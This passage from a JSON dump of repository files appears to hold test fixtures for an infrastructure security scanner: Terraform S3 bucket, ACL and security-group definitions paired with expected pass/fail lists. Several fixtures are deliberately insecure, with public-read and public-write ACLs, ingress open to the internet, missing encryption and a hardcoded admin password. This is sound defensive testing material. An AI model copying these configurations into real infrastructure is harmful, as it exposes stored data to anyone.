\"test-bucket2\"\n  ]\n  additional_tags = {\n    Env                  = \"DEV\"\n    Point_of_Contact     = \"CloudSec\"\n    Managed_by_Terraform = true\n  }\n}\n\nresource \"aws_s3_bucket\" \"this\" {\n  for_each = toset(local.test_buckets)\n  bucket   = \"${local.prefix}-${each.key}\"\n  tags     = local.additional_tags\n}\n\n\nresource \"aws_s3_bucket_versioning\" \"this\" {\n  for_each = toset(local.test_buckets)\n  bucket = aws_s3_bucket.this[each.key].id\n\n  versioning_configuration {\n    status = \"Enabled\"}\n}\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/S3KMSEncryptedByDefault/expected.yaml",
    "content": "pass:\n  - \"aws_s3_bucket.bucket_good_1\"\n  - \"aws_s3_bucket.bucket_good_3\"\n  - \"aws_s3_bucket.bucket_good_6\"\nfail:\n  - \"aws_s3_bucket.bucket_bad_1\"\n  - \"aws_s3_bucket.bucket_bad_2\"\n  - \"aws_s3_bucket.bucket_bad_3\"\n  - \"aws_s3_bucket.bucket_bad_4\"\n  - \"aws_s3_bucket.bucket_bad_5\"\n  - \"aws_s3_bucket.bucket_bad_6\""
  },
  {
    "path": "tests/terraform/graph/checks/resources/S3KMSEncryptedByDefault/main.tf",
    "content": "resource \"aws_s3_bucket\" \"bucket_good_1\" {\n  bucket = \"bucket_good\"\n}\n\nresource \"aws_s3_bucket\" \"bucket_good_3\" {\n  bucket = \"bucket_good\"\n\n  server_side_encryption_configuration {\n    rule {\n      apply_server_side_encryption_by_default {\n        kms_master_key_id = aws_kms_key.mykey.arn\n        sse_algorithm     = \"aws:kms\"\n      }\n    }\n  }\n}\n\nresource \"aws_s3_bucket\" \"bucket_unknown\" {\n  bucket = \"bucket_unknown\"\n\n  server_side_encryption_configuration {\n    rule {\n      apply_server_side_encryption_by_default {\n        kms_master_key_id = aws_kms_key.mykey.arn\n        sse_algorithm     = var.bla\n      }\n    }\n  }\n}\n\nresource \"aws_s3_bucket\" \"bucket_good_6\" {\n  bucket = \"bucket_good\"\n}\n\nresource \"aws_s3_bucket\" \"bucket_unknown2\" {\n  bucket = \"bucket_unknown\"\n\n  server_side_encryption_configuration {\n    rule {\n      apply_server_side_encryption_by_default {\n        kms_master_key_id = aws_kms_key.mykey.arn\n        sse_algorithm     = \"${var.whatever}\"\n      }\n    }\n  }\n}\n\nresource \"aws_s3_bucket\" \"bucket_unknown3\" {\n  bucket = \"bucket_good\"\n}\n\nresource \"aws_s3_bucket\" \"bucket_bad_1\" {\n  bucket = \"bucket_bad_1\"\n}\n\nresource \"aws_s3_bucket\" \"bucket_bad_2\" {\n  bucket = \"bucket_bad_2\"\n\n  server_side_encryption_configuration {\n    rule {\n      apply_server_side_encryption_by_default {\n        kms_master_key_id = aws_kms_key.mykey.arn\n        sse_algorithm     = \"metallica\"\n      }\n    }\n  }\n}\n\nresource \"aws_s3_bucket\" \"bucket_bad_3\" {\n  bucket = \"bucket_bad_3\"\n}\n\nresource \"aws_s3_bucket\" \"bucket_bad_4\" {\n  bucket = \"bucket_bad_4\"\n}\n\nresource \"aws_s3_bucket\" \"bucket_bad_5\" {\n  bucket = \"bucket_good\"\n\n  dynamic \"server_side_encryption_configuration\" {\n    for_each = var.s3_bucket_encryption_enabled ? [1] : []\n  \n    content {\n      rule {\n        apply_server_side_encryption_by_default {\n          sse_algorithm = \"jack daniels\"\n        }\n      }\n    }\n  }\n}\n\nresource \"aws_s3_bucket\" \"bucket_bad_6\" {\n  bucket = \"bucket_bad_6\"\n}\n\nresource \"aws_s3_bucket_server_side_encryption_configuration\" \"good_sse_1\" {\n  bucket = aws_s3_bucket.bucket_good_1.bucket\n\n  rule {\n    apply_server_side_encryption_by_default {\n      kms_master_key_id = aws_kms_key.mykey.arn\n      sse_algorithm     = \"aws:kms\"\n    }\n  }\n}\n\n\nresource \"aws_s3_bucket_server_side_encryption_configuration\" \"good_sse_3\" {\n  bucket = aws_s3_bucket.bucket_good_6.bucket\n\n  dynamic \"rule\" {\n    for_each = var.s3_bucket_encryption_enabled ? [1] : []\n    content {\n      apply_server_side_encryption_by_default {\n        sse_algorithm     = \"aws:kms\"\n      }\n    }\n  }\n}\n\nresource \"aws_s3_bucket_server_side_encryption_configuration\" \"good_sse_4\" {\n  bucket = aws_s3_bucket.bucket_unknown3.bucket\n\n  rule {\n    apply_server_side_encryption_by_default {\n      kms_master_key_id = aws_kms_key.mykey.arn\n      sse_algorithm     = \"${var.whatever}\"\n    }\n  }\n}\n\nresource \"aws_s3_bucket_server_side_encryption_configuration\" \"bad_sse_1\" {\n  bucket = aws_s3_bucket.bucket_bad_3.bucket\n\n  rule {\n    apply_server_side_encryption_by_default {\n      kms_master_key_id = aws_kms_key.mykey.arn\n      sse_algorithm     = \"iron maiden\"\n    }\n  }\n}\n\nresource \"aws_s3_bucket_server_side_encryption_configuration\" \"bad_sse_2\" {\n  bucket = aws_s3_bucket.bucket_bad_4.bucket\n\n  rule {\n    apply_server_side_encryption_by_default {\n      kms_master_key_id = aws_kms_key.mykey.arn\n    }\n  }\n}\n\nresource \"aws_s3_bucket_server_side_encryption_configuration\" \"bad_sse_3\" {\n  bucket = aws_s3_bucket.bucket_bad_6.bucket\n\n  dynamic \"rule\" {\n    for_each = var.s3_bucket_encryption_enabled ? [1] : []\n    content {\n      apply_server_side_encryption_by_default {\n        sse_algorithm     = \"johnnie walker\"\n      }\n    }\n  }\n}"
  },
  {
    "path": "tests/terraform/graph/checks/resources/S3NotAllowAccessToAllAuthenticatedUsers/expected.yaml",
    "content": "pass:\n  - \"aws_s3_bucket_acl.pass\"\nfail:\n  - \"aws_s3_bucket_acl.fail_1\"\n  - \"aws_s3_bucket_acl.fail_2\"\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/S3NotAllowAccessToAllAuthenticatedUsers/main.tf",
    "content": "resource \"aws_s3_bucket_acl\" \"fail_1\" {\n  bucket = \"name\"\n  access_control_policy {\n    grant {\n      grantee {\n        id   = \"52b113e7a2f25102679df27bb0ae12b3f85be6\"\n        type = \"CanonicalUser\"\n      }\n      permission = \"READ\"\n    }\n    grant {\n      grantee {\n        type = \"Group\"\n        uri  = \"http://acs.amazonaws.com/groups/global/AuthenticatedUsers\"\n      }\n      permission = \"READ_ACP\"\n    }\n    owner {\n      id = data.aws_canonical_user_id.current.id\n    }\n  }\n}\n\nresource \"aws_s3_bucket_acl\" \"fail_2\" {\n  bucket = \"name\"\n  access_control_policy {\n\n    grant {\n      grantee {\n        type = \"Group\"\n        uri  = \"http://acs.amazonaws.com/groups/global/AuthenticatedUsers\"\n      }\n      permission = \"READ_ACP\"\n    }\n    owner {\n      id = data.aws_canonical_user_id.current.id\n    }\n  }\n}\n\nresource \"aws_s3_bucket_acl\" \"pass\" {\n  bucket = \"name\"\n  access_control_policy {\n    grant {\n      grantee {\n        id   = \"52b113e7a2f25102679df27bb0ae12b3f85be6\"\n        type = \"CanonicalUser\"\n      }\n      permission = \"READ\"\n    }\n    owner {\n      id = data.aws_canonical_user_id.current.id\n    }\n  }\n}\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/S3PublicACLRead/expected.yaml",
    "content": "pass:\n  - \"aws_s3_bucket.private_acl\"\n  - \"aws_s3_bucket.private_acl_v4\"\n  - \"aws_s3_bucket.no_acl\"\n  - \"aws_s3_bucket.no_grant\"\n  - \"aws_s3_bucket.grant_onwer\"\n  - \"aws_s3_bucket.public_read\"\nfail:\n  - \"aws_s3_bucket.public_read\"\n  - \"aws_s3_bucket.public_read_write\"\n  - \"aws_s3_bucket.website\"\n  - \"aws_s3_bucket.authenticated_read\"\n  - \"aws_s3_bucket.public_read_v4\"\n  - \"aws_s3_bucket.public_read_write_v4\"\n  - \"aws_s3_bucket.website_v4\"\n  - \"aws_s3_bucket.authenticated_read_v4\"\n  - \"aws_s3_bucket.grant_public_read_all\"\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/S3PublicACLRead/main.tf",
    "content": "# pass\n\nresource \"aws_s3_bucket\" \"private_acl\" {\n  bucket = \"example\"\n\n  acl = \"private\"\n}\n\nresource \"aws_s3_bucket\" \"no_acl\" {\n  bucket = \"example_no_acl\"\n}\n\nresource \"aws_s3_bucket\" \"unknown_var\" {\n  bucket = \"example\"\n\n  acl = var.unknown_var\n}\n\nvariable \"unknown_var\" {\n  description = \"unknown value\"\n}\n\nresource \"aws_s3_bucket\" \"unknown_var_legacy\" {\n  bucket = \"example\"\n\n  acl = \"${var.whatever}\"\n}\n\n# fail\n\nresource \"aws_s3_bucket\" \"public_read\" {\n  bucket = \"example\"\n  acl    = \"public-read\"\n}\n\nresource \"aws_s3_bucket\" \"public_read_write\" {\n  bucket = \"example\"\n  acl    = \"public-read-write\"\n}\n\nresource \"aws_s3_bucket\" \"website\" {\n  bucket = \"example\"\n  acl    = \"website\"\n}\n\nresource \"aws_s3_bucket\" \"authenticated_read\" {\n  bucket = \"example\"\n  acl    = \"authenticated-read\"\n}\n\n# provider version 4\n\n# pass\nresource \"aws_s3_bucket\" \"private_acl_v4\" {\n  bucket = \"example\"\n}\n\nresource \"aws_s3_bucket_acl\" \"private_acl_v4\" {\n  bucket = aws_s3_bucket.private_acl_v4.id\n  acl    = \"private\"\n}\n\nresource \"aws_s3_bucket\" \"unknown_var_v4_legacy\" {\n  bucket = \"example\"\n}\n\nresource \"aws_s3_bucket_acl\" \"unknown_var_v4_legacy\" {\n  bucket = aws_s3_bucket.unknown_var_v4_legacy.id\n  acl    = \"${local.whatever}\"\n}\n\nresource \"aws_s3_bucket\" \"no_grant\" {\n  bucket = \"example\"\n}\n\nresource \"aws_s3_bucket_acl\" \"no_grant\" {\n  bucket = aws_s3_bucket.no_grant.bucket\n\n  access_control_policy {\n    owner {\n      id = data.aws_canonical_user_id.this.id\n    }\n  }\n}\n\nresource \"aws_s3_bucket\" \"grant_onwer\" {\n  bucket = \"example\"\n}\n\nresource \"aws_s3_bucket_acl\" \"grant_onwer\" {\n  bucket = aws_s3_bucket.grant_onwer.bucket\n\n  access_control_policy {\n    owner {\n      id = data.aws_canonical_user_id.current.id\n    }\n    grant {\n      grantee {\n        id   = data.aws_canonical_user_id.current.id\n        type = \"CanonicalUser\"\n      }\n      permission = \"READ\"\n    }\n  }\n}\n\n# fail\nresource \"aws_s3_bucket\" \"public_read_v4\" {\n  bucket = \"example\"\n}\n\nresource \"aws_s3_bucket_acl\" \"public_read_v4\" {\n  bucket = aws_s3_bucket.public_read_v4.id\n  acl    = \"public-read\"\n}\n\nresource \"aws_s3_bucket\" \"public_read_write_v4\" {\n  bucket = \"example\"\n}\n\nresource \"aws_s3_bucket_acl\" \"public_read_write_v4\" {\n  bucket = aws_s3_bucket.public_read_write_v4.id\n  acl    = \"public-read-write\"\n}\n\n\nresource \"aws_s3_bucket\" \"website_v4\" {\n  bucket = \"example\"\n}\n\nresource \"aws_s3_bucket_acl\" \"website_v4\" {\n  bucket = aws_s3_bucket.website_v4.id\n  acl    = \"website\"\n}\n\nresource \"aws_s3_bucket\" \"authenticated_read_v4\" {\n  bucket = \"example\"\n}\n\nresource \"aws_s3_bucket_acl\" \"authenticated_read_v4\" {\n  bucket = aws_s3_bucket.authenticated_read_v4.id\n  acl    = \"authenticated-read\"\n}\n\nresource \"aws_s3_bucket\" \"grant_public_read_all\" {\n  bucket = \"example\"\n}\n\nresource \"aws_s3_bucket_acl\" \"grant_public_read_all\" {\n  bucket = aws_s3_bucket.grant_public_read_all.bucket\n\n  access_control_policy {\n    owner {\n      id = data.aws_canonical_user_id.current.id\n    }\n    grant {\n      grantee {\n        id   = data.aws_canonical_user_id.current.id\n        type = \"CanonicalUser\"\n      }\n      permission = \"READ\"\n    }\n    grant {\n      grantee {\n        type = \"Group\"\n        uri  = \"http://acs.amazonaws.com/groups/global/AllUsers\"\n      }\n      permission = \"READ\"\n    }\n  }\n}\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/S3PublicACLRead/same_resource_name/main.tf",
    "content": "# resource with same name as a failed resource\nresource \"aws_s3_bucket\" \"public_read\" {\n  bucket = \"example\"\n}\n\nresource \"aws_s3_bucket_acl\" \"this_is_me\" {\n  bucket = aws_s3_bucket.public_read.id\n  acl = \"private\"\n}"
  },
  {
    "path": "tests/terraform/graph/checks/resources/S3PublicACLWrite/expected.yaml",
    "content": "pass:\n  - \"aws_s3_bucket.private_acl\"\n  - \"aws_s3_bucket.private_acl_v4\"\n  - \"aws_s3_bucket.no_acl\"\n  - \"aws_s3_bucket.no_grant\"\n  - \"aws_s3_bucket.grant_onwer\"\n  - \"aws_s3_bucket.bucket_with_read_acl\"\nfail:\n  - \"aws_s3_bucket.public_read_write\"\n  - \"aws_s3_bucket.public_read_write_v4\"\n  - \"aws_s3_bucket.grant_public_write_all\"\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/S3PublicACLWrite/main.tf",
    "content": "# pass\n\nresource \"aws_s3_bucket\" \"private_acl\" {\n  bucket = \"example\"\n\n  acl = \"private\"\n}\n\nresource \"aws_s3_bucket\" \"no_acl\" {\n  bucket = \"example_no_acl\"\n}\n\nresource \"aws_s3_bucket\" \"unknown_var\" {\n  bucket = \"example\"\n\n  acl = var.unknown_var\n}\n\nvariable \"unknown_var\" {\n  description = \"unknown value\"\n}\n\nresource \"aws_s3_bucket\" \"unknown_var_legacy\" {\n  bucket = \"example\"\n\n  acl = \"${var.whatever}\"\n}\n\n# fail\n\nresource \"aws_s3_bucket\" \"public_read_write\" {\n  bucket = \"example\"\n  acl    = \"public-read-write\"\n}\n\n# provider version 4\n\n# pass\nresource \"aws_s3_bucket\" \"private_acl_v4\" {\n  bucket = \"example\"\n}\n\nresource \"aws_s3_bucket_acl\" \"private_acl_v4\" {\n  bucket = aws_s3_bucket.private_acl_v4.id\n  acl    = \"private\"\n}\n\nresource \"aws_s3_bucket\" \"unknown_var_v4_legacy\" {\n  bucket = \"example\"\n}\n\nresource \"aws_s3_bucket_acl\" \"unknown_var_v4_legacy\" {\n  bucket = aws_s3_bucket.unknown_var_v4_legacy.id\n  acl    = \"${local.whatever}\"\n}\n\nresource \"aws_s3_bucket\" \"no_grant\" {\n  bucket = \"example\"\n}\n\nresource \"aws_s3_bucket_acl\" \"no_grant\" {\n  bucket = aws_s3_bucket.no_grant.bucket\n\n  access_control_policy {\n    owner {\n      id = data.aws_canonical_user_id.this.id\n    }\n  }\n}\n\nresource \"aws_s3_bucket\" \"grant_onwer\" {\n  bucket = \"example\"\n}\n\nresource \"aws_s3_bucket_acl\" \"grant_onwer\" {\n  bucket = aws_s3_bucket.grant_onwer.bucket\n\n  access_control_policy {\n    owner {\n      id = data.aws_canonical_user_id.current.id\n    }\n    grant {\n      grantee {\n        id   = data.aws_canonical_user_id.current.id\n        type = \"CanonicalUser\"\n      }\n      permission = \"READ\"\n    }\n  }\n}\n\n# fail\n\nresource \"aws_s3_bucket\" \"public_read_write_v4\" {\n  bucket = \"example\"\n}\n\nresource \"aws_s3_bucket_acl\" \"public_read_write_v4\" {\n  bucket = aws_s3_bucket.public_read_write_v4.id\n  acl    = \"public-read-write\"\n}\n\nresource \"aws_s3_bucket\" \"grant_public_write_all\" {\n  bucket = \"example\"\n}\n\nresource \"aws_s3_bucket_acl\" \"grant_public_write_all\" {\n  bucket = aws_s3_bucket.grant_public_write_all.bucket\n\n  access_control_policy {\n    owner {\n      id = data.aws_canonical_user_id.current.id\n    }\n    grant {\n      grantee {\n        id   = data.aws_canonical_user_id.current.id\n        type = \"CanonicalUser\"\n      }\n      permission = \"READ\"\n    }\n    grant {\n      grantee {\n        type = \"Group\"\n        uri  = \"http://acs.amazonaws.com/groups/global/AllUsers\"\n      }\n      permission = \"WRITE\"\n    }\n  }\n}\n\n# pass\nresource \"aws_s3_bucket\" \"bucket_with_read_acl\" {\n  bucket = \"abc\"\n}\n\nresource \"aws_s3_bucket_acl\" \"acl_for_bucket_with_read_acl\" {\n  bucket = aws_s3_bucket.bucket_with_read_acl.id\n  access_control_policy {\n    grant {\n      grantee {\n        uri   = \"http://acs.amazonaws.com/groups/global/AllUsers\"\n        type = \"Group\"\n      }\n      permission = \"READ\"\n    }\n  }\n}"
  },
  {
    "path": "tests/terraform/graph/checks/resources/SGAttachedToResource/expected.yaml",
    "content": "pass:\n  - \"aws_security_group.pass_alb\"\n  - \"aws_security_group.pass_app_runner\"\n  - \"aws_security_group.pass_appstream_fleet\"\n  - \"aws_security_group.pass_batch\"\n  - \"aws_security_group.pass_cloudwatch_event\"\n  - \"aws_security_group.pass_codebuild\"\n  - \"aws_security_group.pass_codestar\"\n  - \"aws_security_group.pass_dax_cluster\"\n  - \"aws_security_group.pass_dms\"\n  - \"aws_security_group.pass_dms_serverless\"\n  - \"aws_security_group.pass_docdb\"\n  - \"aws_security_group.pass_docdbelastic\"\n  - \"aws_security_group.pass_ec2\"\n  - \"aws_security_group.pass_ec2_client_vpn\"\n  - \"aws_security_group.pass_ec2_client_vpn_endpoint\"\n  - \"aws_security_group.pass_ec2_launch_config\"\n  - \"aws_security_group.pass_ec2_launch_template\"\n  - \"aws_security_group.pass_ec2_spot_fleet_request\"\n  - \"aws_security_group.pass_ecs\"\n  - \"aws_security_group.pass_efs\"\n  - \"aws_security_group.pass_eks\"\n  - \"aws_security_group.pass_eks_node\"\n  - \"aws_security_group.pass_elasticache\"\n  - \"aws_security_group.pass_elasticache_serverless\"\n  - \"aws_security_group.pass_elasticache_replication_group\"\n  - \"aws_security_group.pass_elb\"\n  - \"aws_security_group.pass_emr\"\n  - \"aws_security_group.pass_emr_studio\"\n  - \"aws_security_group.pass_eni\"\n  - \"aws_security_group.pass_es\"\n  - \"aws_security_group.pass_glue\"\n  - \"aws_security_group.pass_lambda\"\n  - \"aws_security_group.pass_lb\"\n  - \"aws_security_group.pass_memorydb_cluster\"\n  - \"aws_security_group.pass_mq\"\n  - \"aws_security_group.pass_mq_broker\"\n  - \"aws_security_group.pass_msk\"\n  - \"aws_security_group.pass_msk_connect\"\n  - \"aws_security_group.pass_mwaa\"\n  - \"aws_security_group.pass_neptune\"\n  - \"aws_security_group.pass_opensearch\"\n  - \"aws_security_group.pass_opensearch_vpc_endpoint\"\n  - \"aws_security_group.pass_quicksight\"\n  - \"aws_security_group.pass_rds\"\n  - \"aws_security_group.pass_rds_cluster\"\n  - \"aws_security_group.pass_redshift\"\n  - \"aws_security_group.pass_route53_resolver_endpoint\"\n  - \"aws_security_group.pass_sagemaker\"\n  - \"aws_security_group.pass_transfer_server\"\n  - \"aws_security_group.pass_vpc_endpoint\"\n  - \"aws_security_group.pass_vpclattice\"\nfail:\n  - \"aws_security_group.fail\"\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/SGAttachedToResource/main.tf",
    "content": "# pass\n\n# App Runner\n\nresource \"aws_security_group\" \"pass_app_runner\" {\n  ingress {\n    description = \"TLS from VPC\"\n    from_port   = 443\n    to_port     = 443\n    protocol    = \"tcp\"\n    cidr_blocks = [\"0.0.0.0/0\"]\n  }\n}\n\nresource \"aws_apprunner_vpc_connector\" \"pass_app_runner\" {\n  vpc_connector_name = \"name\"\n  subnets            = [\"subnet1\", \"subnet2\"]\n  security_groups    = [aws_security_group.pass_app_runner.id]\n}\n\n# App Stream Fleet\n\nresource \"aws_security_group\" \"pass_appstream_fleet\" {\n  ingress {\n    description = \"TLS from VPC\"\n    from_port   = 443\n    to_port     = 443\n    protocol    = \"tcp\"\n    cidr_blocks = [\"0.0.0.0/0\"]\n  }\n}\n\nresource \"aws_appstream_fleet\" \"pass_appstream_fleet\" {\n  name          = \"name\"\n  instance_type = \"stream.standard.large\"\n  compute_capacity {\n    desired_instances = 1\n  }\n  vpc_config {\n    security_groups_ids = [aws_security_group.pass_appstream_fleet.id]\n  }\n}\n\n# Batch\n\nresource \"aws_security_group\" \"pass_batch\" {\n  ingress {\n    description = \"TLS from VPC\"\n    from_port   = 443\n    to_port     = 443\n    protocol    = \"tcp\"\n    cidr_blocks = [\"0.0.0.0/0\"]\n  }\n}\n\nresource \"aws_batch_compute_environment\" \"pass_batch\" {\n  service_role = \"aws_iam_role.batch.arn\"\n  type         = \"MANAGED\"\n\n  compute_resources {\n    max_vcpus          = 16\n    security_group_ids = [aws_security_group.pass_batch.id]\n    subnets            = [\"aws_subnet.this.id\"]\n    type               = \"FARGATE\"\n  }\n}\n\n# CodeBuild\n\nresource \"aws_security_group\" \"pass_codebuild\" {\n  ingress {\n    description = \"TLS from VPC\"\n    from_port   = 443\n    to_port     = 443\n    protocol    = \"tcp\"\n    cidr_blocks = [\"0.0.0.0/0\"]\n  }\n}\n\nresource \"aws_codebuild_project\" \"pass_codebuild\" {\n  name         = \"build\"\n  service_role = \"aws_iam_role.codebuild.arn\"\n\n  artifacts {\n    type = \"NO_ARTIFACTS\"\n  }\n  environment {\n    compute_type = \"BUILD_GENERAL1_SMALL\"\n    image        = \"aws/codebuild/standard:5.0\"\n    type         = \"LINUX_CONTAINER\"\n  }\n  source {\n    type = \"S3\"\n  }\n  vpc_config {\n    security_group_ids = [aws_security_group.pass_codebuild.id]\n    subnets            = [\"aws_subnet.public_a.id\"]\n    vpc_id             = \"aws_vpc.vpc.id\"\n  }\n}\n\n# Codestar\n\nresource \"aws_security_group\" \"pass_codestar\" {\n  ingress {\n    description = \"TLS from VPC\"\n    from_port   = 443\n    to_port     = 443\n    protocol    = \"tcp\"\n    cidr_blocks = [\"0.0.0.0/0\"]\n  }\n}\n\nresource \"aws_codestarconnections_host\" \"pass_codestar\" {\n  name              = \"star\"\n  provider_endpoint = \"https://github.com/bridgecrewio/checkov\"\n  provider_type     = \"GitHubEnterpriseServer\"\n  vpc_configuration {\n    vpc_id             = \"aws_vpc.vpc.id\"\n    security_group_ids = [aws_security_group.pass_codestar.id]\n    subnet_ids         = [\"aws_subnet.public_a.id\"]\n  }\n  provider = aws.primary\n}\n\n# DMS\n\nresource \"aws_security_group\" \"pass_dms\" {\n  ingress {\n    description = \"TLS from VPC\"\n    from_port   = 443\n    to_port     = 443\n    protocol    = \"tcp\"\n    cidr_blocks = [\"0.0.0.0/0\"]\n  }\n}\n\nresource \"aws_dms_replication_instance\" \"pass_dms\" {\n  replication_instance_class = \"dms.t3.micro\"\n  replication_instance_id    = \"dms\"\n  vpc_security_group_ids     = [aws_security_group.pass_dms.id]\n}\n\n#DMS Serverless\n\nresource \"aws_security_group\" \"pass_dms_serverless\" {\n  ingress {\n    description = \"TLS from VPC\"\n    from_port   = 443\n    to_port     = 443\n    protocol    = \"tcp\"\n    cidr_blocks = [\"0.0.0.0/0\"]\n  }\n}\n\nresource \"aws_dms_replication_config\" \"pass_dms_serverless\" {\n  replication_config_identifier = \"dms\"\n  resource_identifier           = \"dms\"\n  replication_type              = \"cdc\"\n  source_endpoint_arn           = \"aws_dms_endpoint.source.endpoint_arn\"\n  target_endpoint_arn           = \"aws_dms_endpoint.target.endpoint_arn\"\n  table_mappings                = <<EOF\n  {\n    \"rules\":[{\"rule-type\":\"selection\",\"rule-id\":\"1\",\"rule-name\":\"1\",\"rule-action\":\"include\",\"object-locator\":{\"schema-name\":\"%%\",\"table-name\":\"%%\"}}]\n  }\nEOF\n\n  compute_config {\n    max_capacity_units           = \"1\"\n    vpc_security_group_ids       = [aws_security_group.pass_dms_serverless.id]\n  }\n}\n\n# DocDB\n\nresource \"aws_security_group\" \"pass_docdb\" {\n  ingress {\n    description = \"TLS from VPC\"\n    from_port   = 443\n    to_port     = 443\n    protocol    = \"tcp\"\n    cidr_blocks = [\"0.0.0.0/0\"]\n  }\n}\n\nresource \"aws_docdb_cluster\" \"pass_docdb\" {\n  vpc_security_group_ids = [aws_security_group.pass_docdb.id]\n}\n\n# DocDB Elastic\n\nresource \"aws_security_group\" \"pass_docdbelastic\" {\n  ingress {\n    description = \"TLS from VPC\"\n    from_port   = 443\n    to_port     = 443\n    protocol    = \"tcp\"\n    cidr_blocks = [\"0.0.0.0/0\"]\n  }\n}\n\nresource \"aws_docdbelastic_cluster\" \"pass_docdbelastic\" {\n  name = \"docdbelastic_cluster\"\n\n  admin_user_name     = \"admin\"\n  admin_user_password = \"4dm1np4ssw0rd\"\n\n  auth_type      = \"PLAIN_TEXT\"\n  shard_capacity = 2\n  shard_count    = 1\n\n  vpc_security_group_ids = [aws_security_group.pass_docdbelastic.id]\n}\n\n# EC2\n\nresource \"aws_security_group\" \"pass_ec2\" {\n  ingress {\n    description = \"TLS from VPC\"\n    from_port   = 443\n    to_port     = 443\n    protocol    = \"tcp\"\n    cidr_blocks = [\"0.0.0.0/0\"]\n  }\n}\n\nresource \"aws_instance\" \"pass_ec2\" {\n  ami             = \"data.aws_ami.ubuntu.id\"\n  instance_type   = \"t3.micro\"\n  security_groups = [aws_security_group.pass_ec2.id]\n}\n\nresource \"aws_security_group\" \"pass_ec2_client_vpn_endpoint\" {\n  ingress {\n    description = \"TLS from VPC\"\n    from_port   = 443\n    to_port     = 443\n    protocol    = \"tcp\"\n    cidr_blocks = [\"0.0.0.0/0\"]\n  }\n}\n\nresource \"aws_ec2_client_vpn_endpoint\" \"pass_ec2_client_vpn_endpoint\" {\n  server_certificate_arn = \"aws_acm_certificate.cert.arn\"\n  client_cidr_block      = \"10.0.0.0/16\"\n\n  vpc_id             = \"vpc_id\"\n  security_group_ids = [aws_security_group.pass_ec2_client_vpn_endpoint.id]\n}\n\nresource \"aws_security_group\" \"pass_ec2_client_vpn\" {\n  ingress {\n    description = \"TLS from VPC\"\n    from_port   = 443\n    to_port     = 443\n    protocol    = \"tcp\"\n    cidr_blocks = [\"0.0.0.0/0\"]\n  }\n}\n\nresource \"aws_ec2_client_vpn_network_association\" \"pass_ec2_client_vpn\" {\n  client_vpn_endpoint_id = \"aws_ec2_client_vpn_endpoint.this.id\"\n  subnet_id              = \"aws_subnet.this.id\"\n  security_groups        = [aws_security_group.pass_ec2_client_vpn.id]\n}\n\nresource \"aws_security_group\" \"pass_ec2_launch_config\" {\n  ingress {\n    description = \"TLS from VPC\"\n    from_port   = 443\n    to_port     = 443\n    protocol    = \"tcp\"\n    cidr_blocks = [\"0.0.0.0/0\"]\n  }\n}\n\nresource \"aws_launch_configuration\" \"pass_ec2_launch_config\" {\n  image_id        = \"data.aws_ami.ubuntu.id\"\n  instance_type   = \"t3.micro\"\n  security_groups = [aws_security_group.pass_ec2_launch_config.id]\n}\n\nresource \"aws_security_group\" \"pass_ec2_launch_template\" {\n  ingress {\n    description = \"TLS from VPC\"\n    from_port   = 443\n    to_port     = 443\n    protocol    = \"tcp\"\n    cidr_blocks = [\"0.0.0.0/0\"]\n  }\n}\n\nresource \"aws_launch_template\" \"pass_ec2_launch_template\" {\n  image_id               = \"data.aws_ami.ubuntu.id\"\n  instance_type          = \"t3.micro\"\n  vpc_security_group_ids = [aws_security_group.pass_ec2_launch_template.id]\n}\n\nresource \"aws_security_group\" \"pass_ec2_spot_fleet_request\" {\n  ingress {\n    description = \"TLS from VPC\"\n    from_port   = 443\n    to_port     = 443\n    protocol    = \"tcp\"\n    cidr_blocks = [\"0.0.0.0/0\"]\n  }\n}\n\nresource \"aws_ec2_spot_fleet_request\" \"pass_ec2_spot_fleet_request\" {\n  ami             = \"aws_ec2_spot_fleet_request.this.id\"\n  instance_type   = \"t3.micro\"\n  security_groups = [aws_security_group.pass_ec2_spot_fleet_request.id]\n}\n\n# ECS\n\nresource \"aws_security_group\" \"pass_ecs\" {\n  ingress {\n    description = \"TLS from VPC\"\n    from_port   = 443\n    to_port     = 443\n    protocol    = \"tcp\"\n    cidr_blocks = [\"0.0.0.0/0\"]\n  }\n}\n\nresource \"aws_ecs_service\" \"pass_ecs\" {\n  name = \"service\"\n\n  network_configuration {\n    subnets         = [\"aws_subnet.public_a.id\"]\n    security_groups = [aws_security_group.pass_ecs.id]\n  }\n}\n\n# EFS\n\nresource \"aws_security_group\" \"pass_efs\" {\n  ingress {\n    description = \"TLS from VPC\"\n    from_port   = 443\n    to_port     = 443\n    protocol    = \"tcp\"\n    cidr_blocks = [\"0.0.0.0/0\"]\n  }\n}\n\nresource \"aws_efs_mount_target\" \"pass_efs\" {\n  file_system_id  = \"aws_efs_file_system.efs.id\"\n  subnet_id       = \"aws_subnet.public_a.id\"\n  security_groups = [aws_security_group.pass_efs.id]\n}\n\n# EKS\n\nresource \"aws_security_group\" \"pass_eks\" {\n  ingress {\n    description = \"TLS from VPC\"\n    from_port   = 443\n    to_port     = 443\n    protocol    = \"tcp\"\n    cidr_blocks = [\"0.0.0.0/0\"]\n  }\n}\n\nresource \"aws_eks_cluster\" \"pass_eks\" {\n  name     = \"eks\"\n  role_arn = \"aws_iam_role.eks.arn\"\n  vpc_config {\n    security_group_ids = [aws_security_group.pass_eks.id]\n    subnet_ids         = [\"aws_subnet.public_a.id\"]\n  }\n}\n\nresource \"aws_security_group\" \"pass_eks_node\" {\n  ingress {\n    description = \"TLS from VPC\"\n    from_port   = 443\n    to_port     = 443\n    protocol    = \"tcp\"\n    cidr_blocks = [\"0.0.0.0/0\"]\n  }\n}\n\nresource \"aws_eks_node_group\" \"pass_eks_node\" {\n  cluster_name    = \"eks\"\n  node_group_name = \"eks\"\n  node_role_arn   = \"aws_iam_role.eks.arn\"\n  subnet_ids      = [\"aws_subnet.public_a.id\"]\n\n  remote_access {\n    ec2_ssh_key               = \"ec2_ssh_key\"\n    source_security_group_ids = [aws_security_group.pass_eks_node.id]\n  }\n  scaling_config {\n    desired_size = 2\n    max_size     = 3\n    min_size     = 1\n  }\n}\n\n# Elasticache\n\nresource \"aws_security_group\" \"pass_elasticache\" {\n  ingress {\n    description = \"TLS from VPC\"\n    from_port   = 443\n    to_port     = 443\n    protocol    = \"tcp\"\n    cidr_blocks = [\"0.0.0.0/0\"]\n  }\n}\n\nresource 